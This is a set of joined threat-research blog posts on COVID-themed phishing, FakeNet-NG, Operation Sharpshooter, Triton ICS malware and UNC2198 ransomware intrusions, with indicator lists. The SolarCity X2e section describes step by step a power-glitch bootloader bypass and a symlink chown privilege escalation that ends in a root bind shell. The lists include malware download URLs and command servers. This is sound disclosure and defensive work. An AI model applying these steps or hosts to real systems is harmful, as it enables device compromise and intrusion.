Firewall program entry allowing the following application %AppData%\\ManifestStore\\client32.exe Running process named “client32.exe” from the path “%AppData%\\ManifestStore\\client32.exe” Hashes
The following hashes are JavaScript files that use the same obfuscation techniques described in the blog: fc87951ae927d0fe5eb14027d43b1fc3
e3b0fd6c3c97355b7187c639ad9fb97a a8e8b2072cbdf41f62e870ec775cb246 6c5fd3258f6eb2a7beaf1c69ee121b9f 31e7e9db74525b255f646baf2583c419 065ed6e04277925dcd6e0ff72c07b65a 12dd86b842a4d3fe067cdb38c3ef089a
350ae71bc3d9f0c1d7377fb4e737d2a4 c749321f56fce04ad8f4c3c31c7f33ff c7abd2c0b7fd8c19e08fe2a228b021b9 b624735e02b49cfdd78df7542bf8e779 5a082bb45dbab012f17120135856c2fc dc4bb711580e6b2fafa32353541a3f65 e57e4727100be6f3d243ae08011a18ae 9bf55bf8c2f4072883e01254cba973e6 20a6aa24e5586375c77b4dc1e00716f2 aa2a195d0581a78e01e62beabb03f5f0 99c7a56ba04c435372bea5484861cbf3 8c0d17d472589df4f597002d8f2ba487 227c634e563f256f396b4071ffda2e05 ef315aa749e2e33fc6df09d10ae6745d 341148a5ef714cf6cd98eb0801f07a01 Subscribe to Blogs Get email updates as new blog posts are added.
Given the community interest and media coverage surrounding the economic stimulus bill currently being considered by the United States House of Representatives, we anticipate attackers will increasingly leverage lures tailored to the new stimulus bill and related recovery efforts such as stimulus checks, unemployment compensation and small business loans.
Although campaigns employing themes relevant to these matters are only beginning to be adopted by threat actors, we expect future campaigns—primarily those perpetrated by financially motivated threat actors—to incorporate these themes in proportion to the media’s coverage of these topics.
Threat actors with varying motivations are actively exploiting the current pandemic and public fear of the coronavirus and COVID-19.
This is consistent with our expectations; malicious actors are typically quick to adapt their social engineering lures to exploit major flashpoints along with other recurrent events (e.g.
holidays, Olympics).
Security researchers at FireEye and in the broader community have already begun to identify and report on COVID-19 themed campaigns with grant, payment, or economic recovered themed emails and attachments.
Example Malware Distribution Campaign On March 18, individuals at corporations across a broad set of industries and geographies received emails with the subject line “COVID-19 Payment” intended to distribute the SILENTNIGHT banking malware (also referred to by others as Zloader).
Despite the campaign’s broad distribution, a plurality of associated messages were sent to organizations based in Canada.
Interestingly, although the content of these emails was somewhat generic, they were sometimes customized to reference a payment made in currency relevant to the recipient’s geography and contextually relevant government officials (Figure 1 and Figure 2).
These emails were sent from a large pool of different @gmx.com email addresses and had password protected Microsoft Word document attachments using the file name “COVID 19 Relief.doc” (Figure 3).
The emails appear to be auto generated and follow the format <name>.<name><SevenNumberString>@gmx.com.
When these documents were opened and macros enabled, they would drop and execute a .JSE script crafted to download and execute an instance of SILENTNIGHT from http://209.141.54[.
]161/crypt18.dll.
An analyzed sample of SILENTNIGHT downloaded from this URL had an MD5 hash of 9e616a1757cf1d40689f34d867dd742e, employed the RC4 key 'q23Cud3xsNf3', and was associated with the SILENTNIGHT botnet 'PLSPAM'.
This botnet has been seen loading configuration files containing primarily U.S.- and Canada financial institution webinject targets.
Furthermore, this sample was configured to connect to the following controller infrastructure: http://marchadvertisingnetwork4[.
]com/post.php http://marchadvertisingnetwork5[.
]com/post.php http://marchadvertisingnetwork6[.
]com/post.php http://marchadvertisingnetwork7[.
]com/post.php http://marchadvertisingnetwork8[.
]com/post.php http://marchadvertisingnetwork9[.
]com/post.php http://marchadvertisingnetwork10[.
]com/post.php Figure 1: Example lure using CAD Figure 2:
Example lure using AUD Figure 3:
Malicious Word document Example Phishing Campaign Individuals at financial services organizations in the United States were sent emails with the subject line “Internal Guidance for Businesses Grant and loans in response to respond to COVID-19” (Figure 4).
These emails had OpenDocument Presentation (.ODP) format attachments that, when opened in Microsoft PowerPoint or OpenOffice Impress, display a U.S. Small Business Administration (SBA) themed message (Figure 5) and an in-line link that redirects to an Office 365 phishing kit (Figure 6) hosted at https://tyuy56df-kind-giraffe-ok.mybluemix[.]net/.
Figure 4:
Email lure referencing business grants and loans Figure 5: SBA-themed message Figure 6: Office 365 phishing page Implications Malicious actors have always exploited users’ sense of urgency, fear, goodwill and mistrust to enhance their operations.
The threat actors exploiting this crisis are not new, they are simply taking advantage of a particularly overtaxed target set that is urgently seeking new information.
Users who are aware of this dynamic, and who approach any new information with cautious skepticism will be especially prepared to meet this challenge.
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I (Matthew Haigh) recently contributed to FLARE’s FakeNet-NG network simulator by adding content-based protocol detection and configuration.
This feature is useful for analyzing malware that uses a protocol over a non-standard port; for example, HTTP over port 81.
The new feature also detects and adapts to SSL so that any protocol can be used with SSL and handled appropriately by FakeNet-NG.
We were motivated to add this feature since it was a feature of the original FakeNet and it was needed for real world malware.
What is FakeNet-NG FakeNet-NG simulates a network so malware analysts can run samples with network functionality without the risks of an Internet connection.
Analysts can examine network-based indicators via FakeNet-NG’s textual and pcap output.
It is plug-and-play, configurable, and works on both Windows and Linux.
FakeNet-NG simulates common protocols to trick malware into thinking it is connected to the Internet.
FakeNet-NG supports the following protocols: DNS, HTTP, FTP, POP, SMTP, IRC, SSL, and TFTP.
Previous Design Previously FakeNet-NG employed Listener modules, which were bound to configurable ports for each protocol.
Any traffic on those ports was received by the socket and processed by the Listener.
In the previous architecture, packets were redirected using a Diverter module that utilized WinDivert for Windows and netfilter for Linux.
Each incoming and outgoing packet was examined by the Diverter, which kept a running list of connections.
Packets destined for outbound ports were redirected to a default Listener, which would respond to any packet with an echo of the same data.
The Diverter also redirected packets based on whether FakeNet-NG was run in Single-Host or Multi-Host mode, and if any applications were blacklisted or whitelisted according to the configuration.
It would simply release the packet on the appropriate port and the intended Listener would receive it on the socket.
New Design My challenge was to eliminate this port/protocol dependency.
In order to disassociate the Listeners from the corresponding ports, a new architecture was needed.
The first challenge was to maintain Listener functionality.
The original architecture relied on Python libraries that interact with the socket.
Therefore, we needed to maintain “socket autonomy” in the Listener, so we added a “taste()” function for each Listener.
The routine returns a confidence score based on the likelihood that the packet is associated with the protocol.
Figure 1 demonstrates the taste() routine for HTTP, which looks for the request method string at the beginning of the packet data.
It gives an additional point if the packet is on a common HTTP port.
There were several choices for how these scores were to be tabulated.
It could not happen in the Diverter because of the TCP handshake.
The Diverter could not sample data from data-less handshake packets, and if the Diverter completed the handshake, the connection could not easily be passed to a different socket at the Listener without disrupting the connection.
Figure 1: HTTP taste() example Proxy We ultimately decided to add a proxy Listener that maintains full-duplex connections with the client and the Listener, with both sides unaware of the other.
This solves the handshake problem and maintains socket autonomy at the Listener.
The proxy is also easily configurable and enables new functionality.
We substituted the proxy for the echo-server default Listener, which would receive traffic destined for unbound ports.
The proxy peeks at the data on the socket, polls the Listeners, and creates a new connection with the Listener that returns the highest score.
The echo-server always returns a score of one, so it will be chosen if no better option is detected.
The analyst controls which Listeners are bound to ports and which Listeners are polled by the proxy.
This means that the listeners do not have to be exposed at all; everything can be decided by the proxy.
The user can set the Hidden option in the configuration file to False to ensure the Listener will be bound to the port indicated in the configuration file.
Setting Hidden to True will force any packets to go through the proxy before accessing the Listener.
For example, if the analyst suspects that malware is using FTP on port 80, she can ‘hide’ HTTP from catching the traffic, and let the proxy detect FTP and forward the packet to the FTP Listener.
Additional configuration options exist for choosing which protocols are polled by the proxy.
See Figure 2 and Figure 3 for configuration examples.
Figure 2 is a basic configuration for a Listener, and Figure 3 demonstrates how the proxy is configurable for TCP and UDP.
Figure 2:
Listener Configuration Options Figure3:
Proxy Configuration Options The proxy also handles SSL detection.
Before polling the Listeners, the proxy examines the packet.
If SSL is detected, the proxy “wraps” the socket in SSL using Python’s OpenSSL library.
With the combination of protocol and SSL detection, each independent of the other, FakeNet-NG can now handle just about any protocol combination.
The proxied SSL implementation also allows for improved packet analysis.
The connection between the proxy and the Listener is not encrypted, which allows FakeNet to dump un-encrypted packets to the pcap output.
This makes it easier for the analyst to examine the packet data.
FakeNet continues to produce pcap output that includes packet data before and after modification by FakeNet.
While this results in repetitive data, it is often useful to see the original packet along with the modification.
Example Figure 4 shows verbose (-v) output from FakeNet on Windows responding to an HTTP request on port 81 from a clowncar malware variant (SHA-256 8d2dfd609bcbc94ff28116a80cf680660188ae162fc46821e65c10382a0b44dc).
Malware such as clowncar use traditional protocols over non-standard ports for many reasons.
FakeNet gives the malware analyst the flexibility to detect and respond to these cases automatically.
Figure 4: clowncar malware using HTTP on port 81 Conclusion FLARE’s FakeNet-NG tool is a powerful network-simulation tool available for Windows and Linux.
The new content-based protocol detection and SSL detection features ensure that FakeNet-NG remains the most useful tool for malware analysts.
Configuration options give programmers the flexibility necessary to respond to malware using most protocols on any port.
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In this post, we continue our analysis of the SolarCity ConnectPort
X2e Zigbee device (referred to throughout as X2e device).
In Part One , we discussed the X2e at a high level, performed initial network-based attacks, then discussed the hardware techniques used to gain a remote shell on the X2e device as a non-privileged system user.
In this segment, we’ll cover how we obtained a privileged shell on the device locally using power glitching attacks, and explore CVE-2020-12878 , a vulnerability we discovered that permitted remote privilege escalation to the root user.
Combined with CVE-2020-9306 (discussed in Part One), this would result in a complete remote compromise of the X2e device.
Technical Analysis Recap Before we dive into next steps, let’s recap where we left off:
The X2e has an exposed universal asynchronous transmit/receive (UART) interface, which allows a physically connected user to view (but not interrupt) the Das U-Boot (U-Boot) boot process, and given proper credentials, authenticate to the Linux operating system.
Since we do not have root credentials, we put this thread on the backburner.
We have a full NAND dump of the Spansion raw flash, which includes boot configuration, bootloader firmware, filesystems, and the Linux kernel image.
This was used previously in Part One to obtain the hardcoded credential for the python user.
Knowing that UART is present and access to the bootloader would be extremely valuable, we decided to revisit that thread.
Gaining Privileged Access Locally Revisiting the Bootloader Figure 1 shows the U-Boot boot process displayed while connected via UART connection.
In some cases, it is possible to send keyboard input to the device during a set period (usually one to four seconds) when the bootloader presents the message, “Hit any key to stop autoboot,” which interrupts the boot process and drops the user into a U-Boot shell.
On the X2e, this feature has been disabled by setting the U-Boot configuration parameter CONFIG_BOOTDELAY to 0 .
Figure 1: Uninterruptable U-Boot bootloader output One attack that has been documented to be successful to disrupt autoboot is to manipulate the bootloader’s ability to access the flash storage during the boot process.
In certain circumstances where the U-Boot bootloader is unable to access its own configuration, it fails into a default environment, which may be less restricted.
We decided to see if this would be possible on the X2e.
These attacks, known as glitch attacks (or more officially known as fault-injection), are a type of side channel attack that attempts to cause a microcontroller unit (MCU) to skip instructions, perform wrong instructions, or fail to access flash memory .
Various types of glitching attacks exist including electrical, thermal, and radiation.
Based on our objective, we opted to try glitching the power between the MCU and the Spansion NAND flash.
Note that glitch attacks can often cause damage to the components on a board or put the device in an unusable state.
These types of attacks should be tested as either a last resort or against a secondary device you are comfortable with damaging.
Glitching the Bootloader Based on previous research in this domain , we opted to target the data lines (I/O) between the MCU and NAND flash.
Recall from Part One that the NAND flash on the X2e was the Spansion S34ML01G1, which was a 63-pin ball grid array (BGA) package.
This chip is capable of supporting both 8-bit and 16-bit bus width, which corresponds to the number of I/O lines utilized.
By using the datasheet for the flash and then querying the ONFI Device ID of our chip, we determined our chip was utilizing the 8-bit configuration, meaning eight I/O lines were present between the NAND flash and the MCU.
For this attack, we focused on manipulating the power on the first ( I/O0 ) data line.
Figure 2 shows the configuration of the BGA-63 pins, with I/O0 highlighted.
Figure 2: Identifying I/O0 for NAND chip in the Spansion datasheet
Because the pins are actually underneath the flash package, we needed to find an exposed lead that corresponded to I/O0 elsewhere on the PCB.
One such method for tracing connections across a PCB is a continuity test.
A continuity test (using a multimeter) sends a low current electrical signal across two points and produces an audible beep if the points are connected.
Using this technique, we located an exposed test point (known as a via) on the bottom of the PCB.
Figure 3 shows the I/O0 pin on the top of the PCB (under the NAND chip), and Figure 4 shows the I/O0 pin exposed on the bottom of the PCB.
Figure 3: I/O0 on top of PCB (under NAND chip) Figure 4: I/O0 on bottom of PCB With exposed access to I/O0 located, we experimented with connecting this pin directly to a known ground ( GND ) pin at various points during the boot process.
Figure 5 shows the device powering on with the metal tweezers connecting I/O0 to GND .
Figure 5:
Shorting I/O0 to GND While connected to the UART interface, we noted several different outcomes.
When shorting the pin immediately after powering on, the device failed to produce any output or boot.
When shorting after the bootloader finished loading (and handing off to the Linux kernel), the device would also force reboot.
However, when timed perfectly between the bootloader loading and attempting to read its configuration, we noted that the bootloader would present different output, and the option to interrupt the boot process was possible with a four-second delay.
By pressing keyboard input, we were successfully able to drop into a U-Boot shell, which is shown in Figure 6.
Figure 6:
Access to U-Boot bootloader shell While this was great progress, we noted that the current failback bootloader configuration was completely inoperable and certain NAND blocks had been marked as bad (as expected).
To get our device back to a working state, we needed to revisit the NAND dump we generated in Part One.
Repairing the Bootloader Configuration While the current configuration provided us a working shell, we needed to fix the damage we had done.
This was performed in two steps: fixing the mistakenly marked bad blocks and then rebuilding the configuration.
In our case, the nand utility and its sub-commands read , write , and scrub allowed us to inspect and manipulate pages and blocks of the NAND.
The nand scrub command with a valid offset and size could be used to completely reset a segment of the NAND, which removed any bad block markers.
The next challenge was determining what needed to be replaced in the damaged blocks and rebuilding the configuration.
Since we had a valid NAND image, we revisited the sections read by the bootloader to determine what changes were needed.
The format did not match a known format, so we wrote a simple parser in Python to read the binary structure, shown in Figure 7.
Figure 7: Parsing bootloader nvram configuration from flash With details of how the configuration should look, we used the nand write to rebuild this section, byte by byte with the correct details.
We also set the boot delay to be four seconds, so that we could always interrupt the bootloader once the new configuration was committed.
Once we confirmed our changes were stable, we saved the configuration to flash and could access the bootloader without performing the aforementioned glitch attack.
Accessing Linux as root User Now that we have unrestricted access to the bootloader, we can finally influence the rest of the boot process and achieve a privileged shell.
We alluded to this in Part One, but the easiest way to turn an unlocked U-Boot shell into a root Linux shell is to adjust the boot arguments that U-Boot passes to the Linux kernel.
In our case, this was accomplished by using the setenv utility to change the std_bootarg environment variable to be init=/bin/
sh and instructing U-Boot to resume the standard boot process.
Figure 8 shows the Linux shell presented over UART.
Figure 8: root shell after bootloader At this point, we’ve demonstrated a repeatable method for achieving local privilege escalation.
In the final segment, we’ll complete our attack by exploring an avenue to remotely escalate privileges.
Gaining Privileged Access Remotely Since the X2e has only two available listening network services, it makes sense to reinvestigate these services.
During Part One, we identified hardcoded credentials for the limited user python .
This was useful for initial probing of the device while it was running, but where do we go from here?
Embedded devices typically only have a handful of users, with a majority of functionality being performed by the root user.
This presents an interesting opportunity for us to abuse overlap between actions performed by the root user on contents owned and controlled by the python user.
By reviewing the boot process, we noted a large number of custom init scripts in the /etc/init.d/ directory.
These scripts are executed at system start by the root user and were responsible for starting daemons and ensuring directories or files exist.
One file in particular, /etc/init.d/S50dropbear.sh , was interesting to us, as it appeared to perform a number of actions on files within the directory specified by the $PYTHON_HOME variable, which was /WEB/python/ , shown in Figure 9.
Figure 9: Unsafe operations on $PYTHON_HOME directory
At first glance this may seem benign but considering that the /WEB/python/ directory is controllable by the python user, it means that we can potentially control actions taken by root .
More specifically, the chown operation is dangerous, as the previous mkdir command can fail silently and result in an unsafe chown operation.
To weaponize this, we can use symbolic links to point the /WEB/python/.ssh/ to other areas of the filesystem and coerce the root process into chown ’ing these files to be owned by the python user.
The process we took to exploit this was as follows:
Authenticate over SSH using hardcoded python user credentials.
Create a symbolic link, /WEB/
python/.ssh , that points to /etc/init.d/ .
Reboot the X2e, forcing the system to re-execute /etc/init.d/S50dropbear.sh .
After boot completes, create a malicious init script in /etc/
init.d/ as the python user.
Reboot the X2e, forcing the system to execute the new init script.
While not the cleanest approach (it requires two reboots), it accomplishes the goal of achieving code execution as root .
Figure 10 shows the output of our proof of concept.
In this case, our malicious init script spawned a bind shell on TCP port 8080, so that we could connect in as root .
Figure 10: Exploiting chown vulnerability to gain shell as user root
And there we have it: a remote connection as root, by abusing two separate vulnerabilities.
While not explored in this series, another viable avenue of attack would be to explore potential vulnerabilities in the web server listening on TCP ports 80 and 443; however, this was not an approach that we took.
Conclusion We covered a wide variety of topics in this two-part series, including: Physical device inspection Identifying and exploring physical debugging interfaces (UART) Chip-off techniques to remove the NAND storage Binary analysis of the filesystems and bootloader configurations Power glitch attacks against the U-Boot bootloader Linux user space privilege escalation We hope that readers were able to learn from our experiences with the X2e and will be inspired to use these techniques in their own analysis.
Finally, Mandiant would like to thank both Tesla/SolarCity and Digi International for their efforts to remediate these vulnerabilities and for their cooperation with releasing this blog series.
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By Ryan Sherstobitoff and Asheer Malhotra on Dec 12, 2018 This post was written with contributions from the McAfee Advanced Threat Research team.
The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence.
This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation.
According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.
Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags.
Our research focuses on how this actor operates, the global impact, and how to detect the attack.
We shall leave attribution to the broader security community.
Read our full analysis of Operation Sharpshooter.
Have we seen this before?
This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation.
Our analysis also indicates similar techniques associated with other job recruitment campaigns.
Global impact In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis.
Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office.
This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest.
The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.
Targeted organizations by sector in October 2018.
Colors indicate the most prominently affected sector in each country.
Source: McAfee® Global Threat Intelligence.
Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.
Conclusion Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence.
The malware moves in several steps.
The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence.
The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.
We have not previously observed this implant.
Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.
Was this attack just a first-stage reconnaissance operation, or will there be more?
We will continue to monitor this campaign and will report further when we or others in the security industry receive more information.
The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.
Indicators of compromise MITRE ATT&CK™ techniques Account discovery File and directory discovery Process discovery System network configuration discovery System information discovery System network connections discovery System time discovery Automated exfiltration Data encrypted Exfiltration over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php
kingkoil.com.sg/board.php
Document URLs hxxp://208.117.44.112/document/Strategic Planning Manager.doc hxxp://208.117.44.112/document/Business Intelligence Administrator.doc hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?dl=1 McAfee detection RDN/Generic Downloader.x Rising-Sun Rising-Sun-DOC
By Thomas Roccia on Nov 08, 2018 Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat.
This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes.
An essential danger in this threat is that it moves from mere digital damage to risking human lives.
In this post we will review the history of ICS malware, briefly examine how one ICS framework operates, and offer our advice on how to fight such threats.
ICS malware is usually sophisticated, requiring time to research its targets and sufficient resources.
Attackers can be motivated by financial gain, hacktivism, or espionage, as well as for political ends, as we saw with Stuxnet.
Since Stuxnet, researchers have discovered several industrial attacks; each year we seem to read about a worse threat than before.
In August 2017, a sophisticated malware targeted petrochemical facilities in the Middle East.
The malware—dubbed Triton, Trisis, or HatMan—attacked safety instrumented systems (SIS), a critical component that has been designed to protect human life.
The system targeted in that case was the Schneider Triconex SIS.
The initial vector of infection is still unknown, but it was likely a phishing attack.
After gaining remote access, the Triton attackers moved to disrupt, take down, or destroy the industrial process.
The goal of the attackers is still unclear because the attack was discovered after an accidental shutdown of the plant led to further investigation.
Investigations conducted by several security companies have revealed a complex malware framework embedding PowerPC shellcode (the Triconex architecture) and an implementation of the proprietary communication protocol TriStation.
The malware allowed the attackers to easily communicate with safety controllers and remotely manipulate system memory to inject shellcodes; they completely controlled the target.
However, because the attack did not succeed it is possible that a payload, the final stage of the attack, was missing.
All investigations pointed in this direction.
If the final payload had been delivered, the consequences could have been disastrous.
History of ICS malware
In 2010, Stuxnet was one of the most sophisticated ICS threats discovered.
This cyber weapon was created to target Iranian centrifuges.
It was able to reprogram a particular programmable logic controller to change the speed of centrifuge rotations.
The goal of Stuxnet was not to destroy but to take the control of the industrial process.
In 2013, the malware Havex targeted energy grids, electricity firms, and many others.
The attackers collected a large amount of data and remotely monitored industrial systems.
Havex was created for espionage and sabotage.
BlackEnergy was discovered in 2015.
It targeted critical infrastructure and destroyed files stored on workstations and servers.
In Ukraine, 230,000 people were left in the dark for six hours after hackers compromised several power distribution centers.
In 2015, IronGate was discovered on public sources.
It targeted Siemens control systems and had functionalities similar to Stuxnet’s.
It is unclear if this was a proof of concept or a simple penetration-testing tool.
Industroyer hit Ukraine again in 2016.
The malware embedded a data wiper component as well as a distributed denial of services module.
It was crafted for destruction.
The attack caused a second shutdown of Ukraine’s power grid.
In 2017, Triton was discovered.
The attack did not succeed; the consequences could have been disastrous.
ICS malware are critical because they infect industrial devices and automation.
However, regular malware can also impact industrial process.
Last year WannaCry forced several companies, from medical to automobile industries, to stop production.
Some months later NotPetya hit nuclear power plants, power grids, and health care systems.
In 2018, a cryptocurrency miner struck a water utility in Europe.
Facing widespread risks, critical infrastructures need a specific approach to stay safe.
Triton framework Triton targeted the Triconex safety controller, distributed by Schneider Electric.
Triconex safety controllers are used in 18,000 plants (nuclear, oil and gas refineries, chemical plants, etc.
), according to the company.
Attacks on SIS require a high level of process comprehension (by analyzing acquired documents, diagrams, device configurations, and network traffic).
SIS are the last protection against a physical incident.
The attackers gained access to the network probably via spear phishing, according to an investigation.
After the initial infection, the attackers moved onto the main network to reach the ICS network and target SIS controllers.
To communicate with SIS controllers, attackers recoded the proprietary TriStation communication protocol on port UDP/1502.
This step suggests they invested the time to reverse engineer the Triconex product.
Nozomi Networks has created a Wireshark dissector that is very handy for analyzing the TriStation protocol and detecting a Triton attack.
The following screenshot shows an example of the information returned by the Triconex SIS.
Triton requires the “running state” of the controller to perform the next stages of the attack.
In the preceding screen Triconex replies to the request “Get Control Program Status,” which is sent by Triton.
The Triton framework (dc81f383624955e0c0441734f9f1dabfe03f373c) posed as the legitimate executable trilog.exe, which collects logs.
The executable is a python script compiled in an exe.
The framework also contains library.zip (1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c), which contains all the python scripts required by Triton.
Finally, two PowerPC shellcodes (the target architecture) are used to compromise the controllers.
The first PowerPC shellcode is an injector (inject.bin, f403292f6cb315c84f84f6c51490e2e8cd03c686) used to inject the second stage (imain.bin, b47ad4840089247b058121e95732beb82e6311d0), the backdoor that allows read, write, and execute access on the Triconex product.
The following schema shows the main modules of Triton: The missing payload has not been recovered during the forensic investigation.
Because the attack was discovered early, it is possible that the attackers did not have time to launch the final stage.
How to detect an unusual network connection Nozomi Networks has created a script that simulates a Triconex safety controller.
We modified this script with a Raspberry Pi to create a cheap detector tool.
This inexpensive tool can be easily installed on an ICS network.
If an illegitimate connection occurs, the device alerts with a blinking LED and siren.
It also displays the IP address of the connection for further investigation.
The following picture shows how to connect the LED and buzzer.
Fighting ICS malware ICS malware has become more aggressive and sophisticated.
Many industrial devices were built before anyone imagined cyberattacks such as Triton.
ICS’s are now exposed to connected environments they were not designed for.
Standard McAfee security recommendations (vulnerability patching, complex passwords, identification control, security tools, etc.)
remain the same as for regular networks, yet industrial systems also require specific procedures due to their importance.
Industrial networks must be segregated from general business networks, and every machine connected to the industrial process should be carefully monitored by using strict access control and application whitelisting.
Further security recommendations: Segregate physical and logical access to ICS networks with strong authentication, including strong passwords and double factor, card readers, surveillance cameras, etc.
Use DMZ and firewall to prevent network traffic from passing between the corporate and the ICS network Deploy strong security measures on the ICS network perimeter, including patch management, disabling unused ports, and restricting ICS user privileges Log and monitor every action on the ICS network to quickly identify a point of failure When possible implement redundancy on critical devices to avoid major issues Develop strong security policies and an incident response plan to restore systems during an incident Train people with simulated incident responses and security awareness Attackers learn what works from past attacks and from each other.
Rapid developments in ICS threats make it crucial to stay protected.
Manufacturers, plant operators, governments, and the cybersecurity industry must work together to avoid critical cyberattacks.
Indicators of compromise dc81f383624955e0c0441734f9f1dabfe03f373c: trilog.exe b47ad4840089247b058121e95732beb82e6311d0: imain.bin f403292f6cb315c84f84f6c51490e2e8cd03c686: inject.bin 91bad86388c68f34d9a2db644f7a1e6ffd58a449: script_test.py 1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c: library.zip 97e785e92b416638c3a584ffbfce9f8f0434a5fd:
TS_cnames.pyc d6e997a4b6a54d1aeedb646731f3b0893aee4b82: TsBase.pyc 66d39af5d61507cf7ea29e4b213f8d7dc9598bed: TsHi.pyc a6357a8792e68b05690a9736bc3051cba4b43227: TsLow.pyc
2262362200aa28b0eead1348cb6fda3b6c83ae01: crc.pyc 9059bba0d640e7eeeb34099711ff960e8fbae655: repr.pyc 6c09fec42e77054ee558ec352a7cd7bd5c5ba1b0: select.pyc 25dd6785b941ffe6085dd5b4dbded37e1077e222:
sh.pyc References https://blog.schneider-electric.com/cyber-security/2018/08/07/one-year-after-triton-building-ongoing-industry-wide-cyber-resilience/ https://www.youtube.com/watch?v=f09E75bWvkk https://ics-cert.us-cert.gov/sites/default/files/ICSJWG-Archive/QNL_DEC_17/Waterfall_top-20-attacks-article-d2%20-%20Article_S508NC.pdf https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware https://www.nozominetworks.com/2018/07/18/blog/new-triton-analysis-tool-wireshark-dissector-for-tristation-protocol/ https://github.com/NozomiNetworks/tricotools https://cyberx-labs.com/en/blog/triton-post-mortem-analysis-latest-ot-attack-framework/ https://vimeo.com/275906105 https://vimeo.com/248057640 https://blog.talosintelligence.com/2017/07/template-injection.html https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN
Mandiant Advanced Practices (AP) closely tracks the shifting tactics, techniques, and procedures (TTPs) of financially motivated groups who severely disrupt organizations with ransomware.
In May 2020, FireEye released a blog post detailing intrusion tradecraft associated with the deployment of MAZE .
As of publishing this post, we track 11 distinct groups that have deployed MAZE ransomware.
At the close of 2020, we noticed a shift in a subset of these groups that have started to deploy EGREGOR ransomware in favor of MAZE ransomware following access acquired from ICEDID infections.
Since its discovery in 2017 as a banking trojan, ICEDID evolved into a pernicious point of entry for financially motivated actors to conduct intrusion operations.
In earlier years, ICEDID was deployed to primarily target banking credentials.
In 2020 we observed adversaries using ICEDID more explicitly as a tool to enable access to impacted networks, and in many cases this was leading to the use of common post-exploitation frameworks and ultimately the deployment of ransomware.
This blog post shines a heat lamp on the latest tradecraft of UNC2198, who used ICEDID infections to deploy MAZE or EGREGOR ransomware.
Building an Igloo: ICEDID Infections Separate phases of intrusions are attributed to different uncategorized (UNC) groups when discrete operations such as obtaining access are not part of a contiguous operation.
Pure “access operations” establish remote access into a target environment for follow on operations actioned by a separate group.
A backdoor deployed to establish an initial foothold for another group is an example of an access operation.
Between July and December 2020, an ICEDID phishing infection chain consisted of a multi-stage process involving MOUSEISLAND and PHOTOLOADER (Figure 1).
Figure 1:
Example UNC2420 MOUSEISLAND to ICEDID Infection Chain MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2).
Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.
Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420 , a distribution threat cluster created by Mandiant’s Threat Pursuit team.
UNC2420 activity shares overlaps with the publicly reported nomenclature of “ Shathak ” or “ TA551 ”.
Figure 2: UNC2420 MOUSEISLAND Phishing Email Ice, Ice, BEACON...UNC2198
Although analysis is always ongoing, at the time of publishing this blog post, Mandiant tracks multiple distinct threat clusters (UNC groups) of various sizes that have used ICEDID as a foothold to enable intrusion operations.
The most prominent of these threat clusters is UNC2198 , a group that has targeted organizations in North America across a breadth of industries.
In at least five cases, UNC2198 acquired initial access from UNC2420 MOUSEISLAND to conduct intrusion operations.
In 2020, Mandiant attributed nine separate intrusions to UNC2198.
UNC2198’s objective is to monetize their intrusions by compromising victim networks with ransomware.
In July 2020, Mandiant observed UNC2198 leverage network access provided by an ICEDID infection to encrypt an environment with MAZE ransomware.
As the year progressed into October and November, we observed UNC2198 shift from deploying MAZE to using EGREGOR ransomware during another Incident Response engagement.
Like MAZE, EGREGOR is operated using an affiliate model , where affiliates who deploy EGREGOR are provided with proceeds following successful encryption and extortion for payment.
The UNC2198 cluster expanded over the course of more than six months.
Mandiant’s December 2020 blog post on UNCs described the analytical tradecraft we use to merge and graduate clusters of activity.
Merging UNCs is a substantial analytical practice in which indicators and tradecraft attributed to one group are scrutinized against another.
Two former UNCs that shared similar modus operandi were eventually merged into UNC2198.
The Snowball Effect of Attribution AP created UNC2198 based on a single intrusion in June 2020 involving ICEDID, BEACON, SYSTEMBC and WINDARC.
UNC2198 compromised 32 systems in 26 hours during this incident; however, ransomware was not deployed.
Throughout July 2020 we attributed three intrusions to UNC2198 from Incident Response engagements, including one resulting in the deployment of MAZE ransomware.
